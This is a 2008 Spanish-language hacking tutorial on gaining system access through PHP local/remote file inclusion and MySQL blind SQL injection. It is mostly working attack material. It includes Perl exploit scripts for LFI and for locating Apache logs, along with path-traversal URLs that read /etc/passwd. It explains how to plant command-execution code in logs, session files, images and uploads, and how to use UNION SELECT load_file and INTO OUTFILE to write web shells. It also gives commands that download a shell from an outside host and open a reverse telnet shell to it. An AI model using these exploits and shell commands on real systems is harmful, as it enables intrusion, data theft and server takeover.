|=------=[ Vulnerabilidades web que permiten acceder al sistema ]=-------=| |=-----------------------------------------------------------------------=| |=-----=[ pepelux[at]enye-sec[dot]org ]=-------=| |=-----------------------------------------------------------------------=| |=----------------------------=[ 12/10/2008 ]-=--------------------------=| --[ Contenido 1 - Introduccion 2 - Local y Remote File Inclusion (LFI/RFI) 2.1 - Introduccion 2.2 - Ejecutando comandos remotamente 2.2.1 - Inyectando codigo PHP en los logs de apache 2.2.2 - Inyectando codigo PHP en la tabla de procesos 2.2.3 - Inyectando codigo PHP en una imagen 2.2.4 - Inyectando codigo PHP en los ficheros de sesiones 2.2.5 - Inyectando codigo PHP en otros archivos 2.3 - Obteniendo una shell 2.4 - Remote File Inclusion 3 - Blind SQL Injection 3.1 - Introduccion 3.2 - Cargando ficheros locales 3.3 - Obteniendo datos sin fuerza bruta 3.4 - Ejecutando comandos remotamente 3.5 - Obteniendo una shell 4 - Referencias ---[ 1 - Introduccion Existen muchas vulnerabilidades que nos permiten explotar una web, todas muy antiguas y documentadas. Tenemos ataques LFI, RFI, SQL, XSS, SSI, ICH, etc. Por ese motivo me voy a centrar unicamente en aquellos ataques que permiten acceder al sistema y ejecutar comandos remotamente. Seria muy aburrido hacer un recopilatorio contando lo mismo de siempre, por lo que tratare de aportar alguna cosa nueva y contar lo basico solo por encima. ---[ 2 - Local y Remote File Inclusion (LFI/RFI) ----[ 2.1 - Introduccion Este tipo de ataque es ya muy conocido y basicamente consiste en leer ficheros del sistema aprovechando fallos de programacion que realizan llamadas a otros ficheros mediante los comandos require, require_once, include e include_once. Logicamente, llamadas en las que entre en juego alguna variable no inicializada. Ejemplos: require($file); require("includes/".$file); require("languages/".$lang.".php"); require("themes/".$tema."/config.php"); Las formas de explotarlo son bien conocidas y no voy a entrar en detalles, tan solo las voy a enumerar. Por ejemplo: Tipo de llamada: require($file); Forma de explotarlo: http://host/?file=/etc/passwd Tipo de llamada: require("includes/".$file); Forma de explotarlo: http://host/?file=../../../../../etc/passwd Tipos de llamada: require("languages/".$lang.".php"); require("themes/".$theme."/config.php"); Forma de explotarlo: http://host/?file=../../../../../etc/passwd%00 Tipo de llamada: require("languages/".$_COOKIE['lang'].".php"); Forma de explotarlo: javascript:document.cookie = "lan=../../../../../etc/passwd%00"; Un script que explota esto, por GET o POST, podria ser: lfi.pl --------------------------------------------- #! /usr/bin/perl # perl script to exploit LFI based in GET and POST requests # Example: http://site.com/index.php?var= # URL: http://site.com/index.php # Variable: var # Method: POST # # by Pepelux (pepelux[at]enye-sec[dot]org) use LWP::UserAgent; $ua = LWP::UserAgent->new; my ($host, $var, $method) = @ARGV ; unless($ARGV[2]) { print "Usage: perl $0 \n"; print "\tex: perl $0 http://site.com/index.php var GET\n"; print "\tex: perl $0 http://site.com/index.php var POST\n\n"; exit 1; } $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)"); $ua->timeout(10); $host = "http://".$host if ($host !~ /^http:/); while () { print "file to edit: "; chomp($file=); if ($method =~ /GET/) { $url = $host."?".$var."=../../../../..".$file."%00"; $req = HTTP::Request->new(GET => $url); $req->header('Accept' => 'text/html'); } else { $req = HTTP::Request->new(POST => $host); $req->content_type('application/x-www-form-urlencoded'); $req->content($var."=../../../../".$file."%00"); } $res = $ua->request($req); if ($res->is_success) { $result = $res->content; print $result; } else { print "Error\n"; } } --------------------------------------------- ----[ 2.2 - Ejecutando comandos remotamente Hemos visto que ante este tipo de fallos es posible editar cualquier archivo del sistema al que el usuario web tenga acceso de lectura, pero tambien es posible llegar a ejecutar comandos en el sistema. Para ello necesitamos escribir en algun fichero del sistema lo siguiente: cmd es el nombre que le ponemos a nuestra variable para poder enviar datos a traves de GET. Ahora solo queda buscar lugares donde podamos escribir datos. Como hacemos esto? pues veamos diferentes formas de hacerlo: -----[ 2.2.1 - Inyectando codigo PHP en los logs de apache Sabemos que apache guarda logs de todas las operaciones que se realizan, bien en access_log o bien en error_log. Podemos jugar con los datos que quedan registrados e intentar inyectar el codigo. Por ejemplo, para inyectar en el fichero error_log basta con realizar una llamada a una pagina inexistente, pero enviando el codigo que necesitamos escribir en el fichero: http://host/xxxxxxx= Esto añadira una linea dentro de error_log con la inyeccion de codigo que hemos puesto. Y ahora que? pues solo nos queda cargar ese fichero de la misma forma que hicimos antes y pasar en cmd el comando que queramos ejecutar: http://host/?file=../../../var/apache/error_log&cmd=ls /etc http://host/?file=../../../var/apache/error_log&cmd=uname -a Pero, como sabemos la ubicacion de los logs de apache? Esto depende del sistema operativo y del administrador del sistema. Una opcion es buscar en los directorio tipicos donde se guardan los logs: /var/log/apache/ /var/log/httpd/ /usr/local/apache/logs/ ...... En un servidor compartido nos podriamos encontrar esta situacion: /path/host.com/www /logs /data En este caso, para conocer el path basta con escribir un fichero que no exista, por ejemplo: http://host/?file=xxxx Y veremos en pantalla algo asi: Warning: require(xxxx) [function.require]: failed to open stream: No such file or directory in /var/www/host.com/www/p.php on line 2 Por lo que los logs podrian estar en /var/www/host.com/logs Otra forma de localizar la ruta de los logs seria editando el fichero de configuracion httpd.conf donde podemos ver algo como esto: ErrorLog /var/log/apache/error.log O en el caso de un servidor compartido: ErrorLog /home/chs/host.com/home/logs/error_log Pero como comente antes, esto depende del sistema operativo, de la version de apache y del administrador del sistema, por lo que es posible que no este en esa ubicacion. Tambien podemos localizar donde guarda apache los logs buscando en la tabla de procesos: /proc/{PID}/fd/{FD_ID} (lo malo es que fd solo es accesible por un usuario en algunos sistemas). Para localizar el PID de nuestra sesion de apache podemos hacer cualquier peticion por HTTP y leer enseguida el contenido de /proc/self/stat. Self enlaza al ultimo pid usado en el sistema, por lo que podemos, con un script, hacer una peticion y seguidamente leer los ficheros que necesitamos en /proc/self. Dentro de /proc/{PID}/fd tendremos solo unos pocos enlaces para analizar, encontrandonos la ruta de access_log y de error_log. Para esta tarea vamos a usar el siguiente script en perl, que busca todos los enlaces dentro del directorio /proc/self/fd/ para localizar la ubicacion de error_log: proc.pl --------------------------------------------- #! /usr/bin/perl # perl script to serach apache logs path # Example: # URL: http://site/index.php # Variable: file # Method: POST # # by Pepelux (pepelux[at]enye-sec[dot]org) use LWP::UserAgent; $ua = LWP::UserAgent->new; my ($host, $var, $method) = @ARGV ; unless($ARGV[2]) { print "Usage: perl $0 \n"; print "\tex: perl $0 http://site.com/index.php file GET\n"; print "\tex: perl $0 http://site.com/index.php file POST\n\n"; exit 1; } $ua->agent(""); $ua->timeout(10); $host = "http://".$host if ($host !~ /^http:/); if ($method =~ /GET/) { $url = $host."?".$var."=../../../../proc/self/stat%00"; $req = HTTP::Request->new(GET => $url); $req->header('Accept' => 'text/html'); } else { $req = HTTP::Request->new(POST => $host); $req->content_type('application/x-www-form-urlencoded'); $req->content($var."=../../../../proc/self/stat%00"); } $res = $ua->request($req); if ($res->is_success) { $result = $res->content; $result =~ s/<[^>]*>//g; $x = index($result, " ", 0); $pid = substr($result, 0, $x); print "Apache PID: ".$pid."\n"; } if ($method =~ /GET/) { $url = $host."?".$var."=../../../../proc/self/status%00"; $req = HTTP::Request->new(GET => $url); $req->header('Accept' => 'text/html'); } else { $req = HTTP::Request->new(POST => $host); $req->content_type('application/x-www-form-urlencoded'); $req->content($var."=../../../../proc/self/status%00"); } $res = $ua->request($req); if ($res->is_success) { $result = $res->content; $result =~ s/<[^>]*>//g; $x = index($result, "FDSize",0)+8; $fdsize = substr($result, $x, 3); print "FD_SIZE: ".$fdsize."\n"; } for ($cont = 0; $cont < $fdsize; $cont++) { $file = "../../../../proc/".$pid."/fd/".$cont; open FILE, $file; while() { if (($_ =~ /does not exist/) && ($_ =~ /passthru/)) { print "FD: ".$cont."\n"; exit; } } } --------------------------------------------- pepelux:~$ perl proc.pl http://host/index.php page GET Apache PID: 4191 FD_SIZE: 64 FD: 2 Si localiza el FD es porque /proc/{PID}/fd/{FD_ID} es legible por el usuario y tendremos, en este caso, en /proc/4191/fd/2 un enlace a error_log. Modificando el script podriamos lanzar el comando que deseamos ejecutar añadiendo al final del script la llamada a http://host/?file=/proc/4191/fd/2&cmd=uname -a (ver el primer script). Tambien podemos hacer la inyeccion usando una URL que no de error y cuyo log se almacenara en access_log: http://host/index.php?x= Es posible que apache no guarde bien la inyeccion o que sustituya por su valor hexadecimal, con lo que no podriamos hacer nada por GET. En ese caso probaremos a mandar el comando PHP a traves de un POST, por ejemplo usando perl. Otros datos que guarda el apache en access_log y donde podemos inyectar son el referer o el user-agent. Vamos a realizar algunas pruebas usando el siguiente script: cmd.pl --------------------------------------------- #! /usr/bin/perl # perl script to inject a CMD in a web LFI vulnerable # Example: # Host: http://host.com # type: U # # by Pepelux (pepelux[at]enye-sec[dot]org) use LWP::UserAgent; $ua = LWP::UserAgent->new; my ($host, $type) = @ARGV ; $code=""; unless($ARGV[1]) { print "Usage: perl $0 [URI|UAG|REF]\n"; print "\tURI: URI\n"; print "\tUAG: User-Agent\n"; print "\tREF: Referer\n\n"; print "\tex: perl $0 http://host.com URI\n"; exit 1; } $host = "http://".$host if ($host !~ /^http:/); if ($type =~ /UAG/) { $ua->agent($code); } else { $ua->agent("Mozilla/5.0"); } if ($type =~ /URI/) { $$host .= "/" . $code; } $req = HTTP::Request->new(POST => $host); $req->content_type('application/x-www-form-urlencoded'); $req->content("x=x"); if ($type =~ /REF/) { $req->referer($code); } $res = $ua->request($req); --------------------------------------------- Vamos a escribir en error_log enviando una URI inexistente: pepelux:~$ perl cmd.pl http://host.com/blabla URI Y en error_log vemos algo asi: [Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not exist: /home/chs/host.com/home/html/blabla Probamos con el User-Agent: pepelux:~$ perl cmd.pl http://host.com/blabla UAG Y en error_log tenemos lo mismo: [Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not exist: /home/chs/host.com/home/html/blabla Vamos a probar ahora con el Referer: pepelux:~$ perl cmd.pl http://host.com/blabla REF En este caso si que obtenemos la inyeccion: [Wed Oct 08 12:52:54 2008] [error] [client 11.22.33.44] File does not exist: /home/chs/host.com/home/html/blabla, referer: Vamos a escribir ahora en access_log que almacena mas informacion que error_log: pepelux:~$ perl cmd.pl http://host.com/index.php URI En este caso obtenemos: 11.22.33.44 - - [08/Oct/2008:12:57:39 +0200] "POST /index.php/%3C?%20passthru($_GET[cmd])%20?%3E HTTP/1.1" 301 - "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1" Probamos con el User-Agent: pepelux:~$ perl cmd.pl http://host.com/index.php UAG Y obtenemos la inyeccion: 11.22.33.44 - - [08/Oct/2008:13:00:05 +0200] "POST /index.php HTTP/1.1" 301 - "-" "" Probamos con el Referer: pepelux:~$ perl cmd.pl http://host.com/index.php REF Y tambien obtenemos la inyeccion: 11.22.33.44 - - [08/Oct/2008:13:00:56 +0200] "POST /index.php HTTP/1.1" 301 - "" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)Gecko/2008072820 Firefox/3.0.1" -----[ 2.2.2 - Inyectando codigo PHP en la tabla de procesos He encontrado un texto (pongo abajo la referencia) que explica como inyectar en /proc/self/environ, que es una ruta estatica que siempre conocemos. El problema es que en la mayoria de sistemas este fichero solo es accesible por root y no podremos leer el contenido. Como comente antes /proc/self apunta al ultimo pid usado, por lo que no necesitamos averiguar cual es el pid de nuestro proceso de apache ya que accederiamos a el directamente. El ataque consiste en realizar la inyeccion en el User-Agent lanzando seguidamente la llamada a este fichero: http://host/?file=../../../proc/self/environ&cmd=uname -a Al igual que antes, esto habria que hacerlo con un pequeño script ya que se debe inyectar y seguido lanzar el comando, antes que self apunte a otro pid diferente a nuestro proceso. -----[ 2.2.3 - Inyectando codigo PHP en una imagen Es muy habitual encontrarse con webs que nos permiten subir un avatar el cual queda almacenado en el servidor. Que ocurriria si creamos un archivo de texto que contenga: y lo guardamos con extension GIF o JPG? pues que nos dejaria subirlo sin problemas ya que la extension corresponde con una imagen y en caso de que la web sea vulnerable a un ataque LFI, podriamos explotarlo de la misma forma que hemos visto antes: http://host/?file=path/avatar.gif&cmd=uname -a -----[ 2.2.4 - Inyectando codigo PHP en los ficheros de sesiones Supongamos el siguiente codigo vulnerable: Como podemos ver, esta creando una variable de sesion usando un valor obtenido mediante GET y del que no hace ningun tipo de verificacion. Vamos a enviar: http://host/?user= Luego miramos las cookies de nuestro navegador y podemos ver algo asi: PHPSESSID=b25ca6fea480073cf8eb840b203d343e Analizando la carpera donde se guardan las sesiones podemos comprobar el contenido: pepelux:~$ more /tmp/sess_b25ca6fea480073cf8eb840b203d343e user|s:26:""; Ya que en este caso podemos inyectar codigo en el fichero que guarda los datos de nuestra sesion, tambien podremos ejecutar comandos usando este fichero: http://host/?file=/tmp/sess_b25ca6fea480073cf8eb840b203d343e&cmd=uname -a En este caso la ruta la conocemos y podemos seleccionarla sin problemas. Si por GET filtra la entrada podemos inyectar usando POST. -----[ 2.2.5 - Inyectando codigo PHP en otros archivos Normalmente no tendremos acceso dado que solo root puede leer estos archivos pero seria posible inyectar nuestro codigo en otros logs, como por ejemplo en el de FTP: pepelux:~$ ftp host.com 220 ProFTPD 1.3.1 Server (Debian) [host.com] Name (pepelux): Password: Si echamos un vistazo a /var/log/proftpd/proftpd.log podemos ver que nuestro codigo se ha inyectado: Oct 09 21:50:21 host.com proftpd[11190] host.com ([11.22.33.44]): USER : no such user found from [11.22.33.44] to host.com:21 Si el servidor vulnerable usa una version antigua de webalizer y es accesible por web, tambien es posible usar el fichero usage_DATE.html para ejecutar codigo ya que este fichero se genera con las estadisticas de visitas a partir de access.log y en versiones antiguas de webalizer es posible inyectar codigo html en el referer. Por ejemplo: Referer: Tan solo tienes que hacer un bucle de llamadas con ese referer para que ese referer entre entre los mas enviados y aparezca en la pagina de visitas. En caso de que el servidor admita el uso del comando PUT tambien seria posible subir un archivo con nuestro codigo: pepelux:~$ telnet host.com 80 Trying 11.22.33.44... Connected to host.com. Escape character is '^]'. OPTIONS / HTTP/1.1 HTTP/1.1 200 OK Date: Sat, 11 Oct 2008 15:06:05 GMT Server: Apache/2.2.9 (Debian) PHP/5.2.6-5 Allow: GET,HEAD,POST,PUT,OPTIONS,TRACE Content-Length: 0 Connection: close Content-Type: httpd/unix-directory Connection closed by foreign host. Para inyectar: pepelux:~$ telnet host.com 80 Trying 11.22.33.44... Connected to host.com. Escape character is '^]'. PUT /file.txt HTTP/1.1 Content-Type: text/plain Content-Length:26 ----[ 2.3 - Obteniendo una shell Una vez que hemos conseguido ejecutar comandos remotamente, podemos intentar crear una shell para acceder al sistema. Una forma seria instalando una shell basada en PHP. Podemos descargarla usando el comando wget: http://host/?file=xxxx&cmd=wget http://devil/shell.txt -O shell.php Como no podemos descargar por HTTP un archivo PHP, lo que hacemos es bajar un fichero TXT y guardarlo como PHP. Tambien podemos intentar realizar un reverse telnet: pepelux:~$ nc -vv -l -p 8888 pepelux:~$ nc -vv -l -p 8889 http://host/?file=xxxx&cmd=telnet devil 8888 | /bin/sh | telnet devil 8889 ----[ 2.4 - Remote File Inclusion En el caso de que en php.ini la variable allow_url_include este a On, podremos aprovechar este tipo de inclusiones para inyectar una shell directamente. La tecnica es la misma que he descrito antes y tambien es muy conocida. Basta con cargar por GET o POST directamente una URL que tenga la shell (con una extension diferente a PHP para poder incluir el contenido del fichero): http://host/?file=http://devil.com/shell.txt http://host/?file=http://devil.com/shell.txt%00 ---[ 3 - Blind SQL Injection ----[ 3.1 - Introduccion Los ataques de inyeccion SQL son tambien muy conocidos y muy documentados por lo que no voy a volver a escribirlos. Unicamente comentare la tecnica que nos permite leer ficheros del sistema. ----[ 3.2 - Cargando ficheros locales Ante una web vulnerable a ataques SQL (os recuerdo que este doc esta basado en MySQL), en el caso de que el usuario con el conectamos a la base de datos tenga permisos para usar el comando load_file de MySQL, podemos cargar cualquier archivo del sistema, por ejemplo, /etc/passwd. Ejemplo: Tabla: users(id int, user char(25), pass char(25), mail char(255)); Datos en la tabla: +---+---------+----------------------------------+--------------+ | 1 | admin | 23e4ad2360f4ef4268cb44871375a5cd | admin@host | +---+---------+----------------------------------+--------------+ | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host | +---+---------+----------------------------------+--------------+ Codigo vulnerable: Partimos de una tabla que desconocemos, con unos campos que desconocemos y con un MySQL que no muestra los errores por pantalla. > llamada correcta que muestra el mail del usuario 2: http://host/?id=2 > intentamos reordenar los resultados del query mediante injeccion de SQL: http://host/?id=2 ORDER BY 1 ... Ok http://host/?id=2 ORDER BY 2 ... Ok http://host/?id=2 ORDER BY 3 ... Ok http://host/?id=2 ORDER BY 4 ... Ok http://host/?id=2 ORDER BY 5 ... Error Porque da error en ORDER BY 5? si usamos ORDER BY 2 le estamos diciendo que nos muestre los resultados ordenador por el user, con ORDER BY 3, le decimos que ordene la salida segun la columna pass, pero como solo existen 4 columnas en esa tabla, ORDER BY 5 provoca un error. Para que sirve esto? pues para conocer el numero de columnas que tiene la tabla sobre la que se esta realizando la query. > modificamos la salida por pantalla (ya sabemos que hay 4 columnas): http://host/?id=-1 UNION SELECT 1,2,3,4 Que hace esto? pues busca el usuario con ID=-1, que devolvera 0 resultados y creara una nueva fila con los datos que hemos introducido. Por que ponemos ID=-1? veamos un ejemplo practico: Entrada: http://host/?id=2 UNION SELECT 1,2,3,4 Salida: +---+---------+----------------------------------+--------------+ | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host | +---+---------+----------------------------------+--------------+ | 1 | 2 | 3 | 4 | +---+---------+----------------------------------+--------------+ Como en pantalla muestra solo el primer resultado, la salida sera: El mail del usuario es: pepelux@host En caso de poner ID=-1 solo obtendremos los datos que hemos inyectado: Entrada: http://host/?id=-1 UNION SELECT 1,2,3,4 Salida: +---+---------+----------------------------------+--------------+ | 1 | 2 | 3 | 4 | +---+---------+----------------------------------+--------------+ La salida sera: El mail del usuario es: 4 > aprovechamos la columna 4 (que aparece por pantalla) para inyectar: http://host/?id=-1 UNION SELECT 1,2,3,load_file('/etc/passwd'); Esto mostraria por pantalla el contenido de /etc/passwd en el lugar donde deberia aparecer el mail del usuario (siempre que el usuario con el que accedemos a la base de datos tenga permisos para hacer un load_file). En el caso de que las magic_quotes esten activas y no podamos escribir comillas, podemos sustituir el fichero por su equivalente en hex: http://host/?id=-1 UNION SELECT 1,2,3,load_file(0x2f6574632f706173737764); Una diferencia entre leer archivos usando LFI y leerlos usando inyecciones SQL es que el usuario con el que leemos es diferente. En el primer caso usaremos un usuario apache y en el segundo un usuario mysql. Esto no es muy importante pero puede servir a la hora de leer archivos con ciertos permisos. ----[ 3.3 - Obteniendo datos sin fuerza bruta Supongamos la siguiente situacion con el mismo codigo vulnerable de antes: Tabla: users(id int, user char(25), pass char(25), mail char(255)); Datos en la tabla: +---+---------+----------------------------------+--------------+ | 1 | admin | 23e4ad2360f4ef4268cb44871375a5cd | admin@host | +---+---------+----------------------------------+--------------+ | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host | +---+---------+----------------------------------+--------------+ Podemos ver toda la fila de datos de la tabla si hacemos lo siguiente: http://host/?id=1 outfile "/tmp/sql.txt" http://host/?id=-1 UNION SELECT 1,2,3,load_file('/tmp/sql.txt'); Y veremos que el contenido de /tmp/sql.txt es: 1 admin 23e4ad2360f4ef4268cb44871375a5cd admin@host Como podemos apreciar, hemos sacado todos los datos del user con id 1 sin necesidad de conocer el nombre de la tabla ni el de ningun campo. De la misma forma podemos sacar los datos del resto de usuarios. El problema de este ataque es que solo podemos ver los datos de la tabla sobre la que se esta realizando la consulta. Usando esta tecnica podemos tambien copiar ficheros del sistema en el directorio local para acceder a ellos por web, por ejemplo: http://host/?id=-1 union select 1,load_file("/etc/passwd"),1 into outfile "/var/www/host.com/www/passwd" O tambien podemos crear PHPs. Por ejemplo: http://host/?id=-1 union select 1,"",1 into outfile "/var/www/host.com/www/phpinfo.php" ----[ 3.4 - Ejecutando comandos remotamente Hemos visto antes diversas formas de inyectar para poder ejecutar comandos remotamente. El principal problema que nos encontrabamos era poder inyectar en un fichero facilmente localizable. En el caso de los logs de apache era complicado averiguar la ubicacion y tambien era posible que el usuario no tuviera acceso de lectura a estos logs. En este caso es sencillo provocar un error que nos muestre por pantalla la ruta donde se encuenta la web. Conociendola podemos crear un PHP con el codigo que nos permita ejecutar comandos: http://host/?id=-1 union select 1,"",1 into outfile "/var/www/host.com/www/cmd.php" Luego bastaria con cargar: http://host/cmd.php?cmd=uname -a Si la web es ademas vulnerable a ataques de LFI podemos escribir el codigo en cualquier lugar en el que tengamos permisos de escritura. Por ejemplo en /tmp: Primero inyectamos el codigo en un fichero en /tmp: http://host/?id=-1 union select 1,"",1,1 into outfile "/tmp/sql.txt" Luego usamos LFI para ejecutar comandos: http://host/?file=../../../tmp/sql.txt&cmd=uname -a ----[ 3.5 - Obteniendo una shell Si hemos conseguido crear un fichero con nuestro codigo, la forma de obtener una shell es la misma que he comentado antes para el LFI (punto 2.3) :-) ---[ 4 - Referencias - http://www.g-brain.net/tutorials/local-file-inclusions.txt - http://ush.it/team/ascii/hack-lfi2rce_proc/lfi2rce.txt - http://www.securityfocus.com/bid/3473 - http://dev.mysql.com/doc/